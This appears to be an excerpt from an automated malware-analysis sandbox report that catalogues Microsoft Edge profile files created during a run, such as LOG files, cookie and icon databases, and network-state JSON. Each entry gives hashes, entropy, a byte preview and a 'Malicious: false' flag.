MD5:	CC6E9EC3BE67BCF841664A0DDD5012F2
SHA1:	4CC5B58D0CB55E90835A93FD4F261AF4DD55980C
SHA-256:	44EBE731EB26AC6C00A5B26EE5EBF6D172BF6824C4DE34E3738398C471EA5C90
SHA-512:	E533E975A7744FF4BD9FD2A80F09CFAF5BECD3F77BC071947FA789E1C5A0DBF3CE74040693EE869D222AFA23DDD925587A362505AB3C68D55FBBD9B5D7F3D7FD
Malicious:	false
Preview:	2024/11/22-08:43:42.176 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/22-08:43:42.177 1c10 Recovering log #3.2024/11/22-08:43:42.178 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.132990749945815
Encrypted:	false
SSDEEP:	6:HgEEFIq2PN723oH+Tcwt865IFUt8YgE9Zmw+YgEPkwON723oH+Tcwt86+ULJ:AEsIvVaYeb/WFUt8JE9/+JEP5OaYeb/L
MD5:	016675CD121314F9B7A4ED0DD7DDC767
SHA1:	202945522A0F68B464CA66C4BE905B5F45F27B05
SHA-256:	D8A4758449D54C6DCD9A492A0DEC05960C00BBDDAC6EA2D1CEE27DC3E0FEE7CB
SHA-512:	E3F5ACF2FE2BD1E1A07B0EB03C2F910678593AC1BA68291AD0634FFDDD94F3E704ACB9A5D0C0EAF061E1F74790BAF71198D280FBA1A20E4C548CACB1A9D674E4
Malicious:	false
Preview:	2024/11/22-08:43:42.185 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-08:43:42.186 1c10 Recovering log #3.2024/11/22-08:43:42.186 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.132990749945815
Encrypted:	false
SSDEEP:	6:HgEEFIq2PN723oH+Tcwt865IFUt8YgE9Zmw+YgEPkwON723oH+Tcwt86+ULJ:AEsIvVaYeb/WFUt8JE9/+JEP5OaYeb/L
MD5:	016675CD121314F9B7A4ED0DD7DDC767
SHA1:	202945522A0F68B464CA66C4BE905B5F45F27B05
SHA-256:	D8A4758449D54C6DCD9A492A0DEC05960C00BBDDAC6EA2D1CEE27DC3E0FEE7CB
SHA-512:	E3F5ACF2FE2BD1E1A07B0EB03C2F910678593AC1BA68291AD0634FFDDD94F3E704ACB9A5D0C0EAF061E1F74790BAF71198D280FBA1A20E4C548CACB1A9D674E4
Malicious:	false
Preview:	2024/11/22-08:43:42.185 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/22-08:43:42.186 1c10 Recovering log #3.2024/11/22-08:43:42.186 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.09865492037112
Encrypted:	false
SSDEEP:	6:HgE8gvlyq2PN723oH+Tcwt8NIFUt8YgE8z1Zmw+YgE8lRkwON723oH+Tcwt8+eLJ:AEKvVaYebpFUt8JE21/+JEY5OaYebqJ
MD5:	BE4293C23E72ADF7A5A3101D7DB030BF
SHA1:	6D4761304BB81E07FC907DC4ACAB3A3A1BD73109
SHA-256:	92D0381C84D21194802316ABB7ACA5A135B6D093FF55E2215FDD44A515D9ED8B
SHA-512:	197BD9F863E73E98136C8539700E206AA8E14163A72FF56A251D3DF18047CAFC146B6D61A33F8E2E96E1A63EFB4D85C705F663ED88A09495E44D745C07CF85DE
Malicious:	false
Preview:	2024/11/22-08:43:42.874 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-08:43:42.884 1ca0 Recovering log #3.2024/11/22-08:43:42.884 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.09865492037112
Encrypted:	false
SSDEEP:	6:HgE8gvlyq2PN723oH+Tcwt8NIFUt8YgE8z1Zmw+YgE8lRkwON723oH+Tcwt8+eLJ:AEKvVaYebpFUt8JE21/+JEY5OaYebqJ
MD5:	BE4293C23E72ADF7A5A3101D7DB030BF
SHA1:	6D4761304BB81E07FC907DC4ACAB3A3A1BD73109
SHA-256:	92D0381C84D21194802316ABB7ACA5A135B6D093FF55E2215FDD44A515D9ED8B
SHA-512:	197BD9F863E73E98136C8539700E206AA8E14163A72FF56A251D3DF18047CAFC146B6D61A33F8E2E96E1A63EFB4D85C705F663ED88A09495E44D745C07CF85DE
Malicious:	false
Preview:	2024/11/22-08:43:42.874 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/22-08:43:42.884 1ca0 Recovering log #3.2024/11/22-08:43:42.884 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:fs/ljtFlljq7A/mhWJFuQ3yy7IOWU8/4dweytllrE9SFcTp4AGbNCV9RUIQs:EK75fOWQd0Xi99pEYN
MD5:	FD2144E171F7EED409941FCC254A023E
SHA1:	7D5A2C213AED18D44F60BA07BB5A4AD9A9B8CD6F
SHA-256:	0B247AE1219427CDE86144F90B8AE8D14249BD40C90D2813B6D94D61D55EB81E
SHA-512:	F1C4FBED991C92B644C2E751ED27CAF1B97CFEF22B1E8EFE87F0E7EC791F3F7FEF8537234C428E9474327E032CA81D3D0A4FB7BF30AB7A33092D1B03FD76F844
Malicious:	false
Preview:	............C=.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647755141898625
Encrypted:	false
SSDEEP:	384:aj9P0LP/Kbt3QkQerAjlKgam6IX773pL9cqRKToaADhf:ad8P/qe2Kl9n7sqRKc39
MD5:	6780E6CD475351F24C3C7694542AEF5C
SHA1:	CCE11F5D0342C022857D67C9E7B28547303865EE
SHA-256:	A62E0CFFD555CE19A9922E5B1223D5121CF0CC157F6D09A81CF50003E3075CE3
SHA-512:	829493659C0F996777727B9D46D4A7350BE2D32274F97C96C10367D045F22960F8A381954A5BDA7C5B65478F88A468E900EBA619AE2D35CE50E25DF5B4B1DC78
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.216793500176678
Encrypted:	false
SSDEEP:	12:AAK7vVaYeb8rcHEZrELFUt8JAV1/+JAl5OaYeb8rcHEZrEZSJ:AVVaYeb8nZrExg8JhkOaYeb8nZrEZe
MD5:	5494011A8CB6A5B278C8DF8DF8ED4F32
SHA1:	DAC285DAEF6FDE22FDA4C7608C806F9901B66B31
SHA-256:	73F54CAB98F1F23D8139B418A7992705B5586435F2F60BEA05909B320DE1029E
SHA-512:	FB6407BFF47EA358E89166A77F038479E1BFB3BC904F3AE6EC69FACCD42C29CA0BF985E0A5C56096770D05D2FC00E56392139C6248C0E4B73264090AF8D6288E
Malicious:	false
Preview:	2024/11/22-08:43:46.212 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-08:43:46.214 1ca0 Recovering log #3.2024/11/22-08:43:46.214 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.216793500176678
Encrypted:	false
SSDEEP:	12:AAK7vVaYeb8rcHEZrELFUt8JAV1/+JAl5OaYeb8rcHEZrEZSJ:AVVaYeb8nZrExg8JhkOaYeb8nZrEZe
MD5:	5494011A8CB6A5B278C8DF8DF8ED4F32
SHA1:	DAC285DAEF6FDE22FDA4C7608C806F9901B66B31
SHA-256:	73F54CAB98F1F23D8139B418A7992705B5586435F2F60BEA05909B320DE1029E
SHA-512:	FB6407BFF47EA358E89166A77F038479E1BFB3BC904F3AE6EC69FACCD42C29CA0BF985E0A5C56096770D05D2FC00E56392139C6248C0E4B73264090AF8D6288E
Malicious:	false
Preview:	2024/11/22-08:43:46.212 1ca0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/22-08:43:46.214 1ca0 Recovering log #3.2024/11/22-08:43:46.214 1ca0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.679639666376137
Encrypted:	false
SSDEEP:	24:oZWmjh5/2pXZsClWCLV0374glMyM8WkUlHcl4QPBkTN5zgFHHmi28/V:oZph0pXZsCMCLV0374JyM81/4Qy+HH33
MD5:	7ADACAA2892134A04DC1AEB995FF6A0D
SHA1:	E75BAAA7DC2A46C0CF74AE5165E94277C074685E
SHA-256:	C7D92EDBFCE7499FBA919E0D4705DB37100AC9A8F173C370E77A986EB6BEB0F6
SHA-512:	012C42CE8B44F280C38D3DB92726481A4F1F773768A67E0A6821967DFBF21FC0634877C6B98F954F37C46E50735F2B280B55DCE3C6C9B22B6CC440AF20E8D8C1
Malicious:	false
Preview:	....................VERSION.1..META:https://ntp.msn.com..............!_https://ntp.msn.com..LastKnownPV..1732283037529.._https://ntp.msn.com..MUID!.0AFE249FEBCF639338DA31A0EAE662C3.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732283037634,"schedule":[20,-1,-1,0,-1,-1,34],"scheduleFixed":[20,-1,-1,0,-1,-1,34],"simpleSchedule":[12,15,49,24,16,34,51]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732283037492.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241121.408"}._https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Fri Nov 22 2024 08:43:57 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest.@..$................META:https://ntp.msn.com.............._https://ntp.msn.com..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.144923368083393
Encrypted:	false
SSDEEP:	6:HgxVJQyq2PN723oH+Tcwt8a2jMGIFUt8YgxVXnG1Zmw+YgxVRiQRkwON723oH+Tg:AdQyvVaYeb8EFUt8JDg/+JdiQR5OaYek
MD5:	76599B18C71C5D51738F842623E0A2E6
SHA1:	0AA967EDF14C69FB68343D520CFBA0E5AECEC41A
SHA-256:	888E83F47B464339F9E6ECF6C0CEA92DAF88FE81E2FED2D6940A6A3F04C8EF16
SHA-512:	3F43DB72F8579194010C63846A5AB884229F104B12CF951D71316963E92AF655A378330287BDF670DAFAC8334F24C7F472FDA68252CD80823A0934FCA77A3158
Malicious:	false
Preview:	2024/11/22-08:43:43.036 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-08:43:43.038 1690 Recovering log #3.2024/11/22-08:43:43.042 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.144923368083393
Encrypted:	false
SSDEEP:	6:HgxVJQyq2PN723oH+Tcwt8a2jMGIFUt8YgxVXnG1Zmw+YgxVRiQRkwON723oH+Tg:AdQyvVaYeb8EFUt8JDg/+JdiQR5OaYek
MD5:	76599B18C71C5D51738F842623E0A2E6
SHA1:	0AA967EDF14C69FB68343D520CFBA0E5AECEC41A
SHA-256:	888E83F47B464339F9E6ECF6C0CEA92DAF88FE81E2FED2D6940A6A3F04C8EF16
SHA-512:	3F43DB72F8579194010C63846A5AB884229F104B12CF951D71316963E92AF655A378330287BDF670DAFAC8334F24C7F472FDA68252CD80823A0934FCA77A3158
Malicious:	false
Preview:	2024/11/22-08:43:43.036 1690 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/22-08:43:43.038 1690 Recovering log #3.2024/11/22-08:43:43.042 1690 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\130300aa-4953-4d04-a82e-890fe5de8760.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\49ad6695-e75d-4c23-bf1e-f7d456fd8d73.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4bea4d2b-7b69-4207-8d8c-bcc4d2c30d9d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7709600507739838
Encrypted:	false
SSDEEP:	192:tTrZnX2ce2hhnZpK/PrCqMR14Xcf0L/ZJVb:VdGcecnq/PGyXI0LhJVb
MD5:	88F6EE6BA9B2563AE41E50B04441DEB2
SHA1:	5E8A96BA56328BDD01856788429F012F2856D443
SHA-256:	AC134564A014F63286468F210FC9497A5E294D922BF15DDD97EF4F76EBC39018
SHA-512:	A27DAA013DF3FA9351A2F0BEEDFBFA252B2832E48EDDF2E686A67B6E78BB05A4FFFC2DE6008BEBCCD8C1E8060608C57FA8AE95EEEDAB43B9C03B77ACEF45D355
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4ea4d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

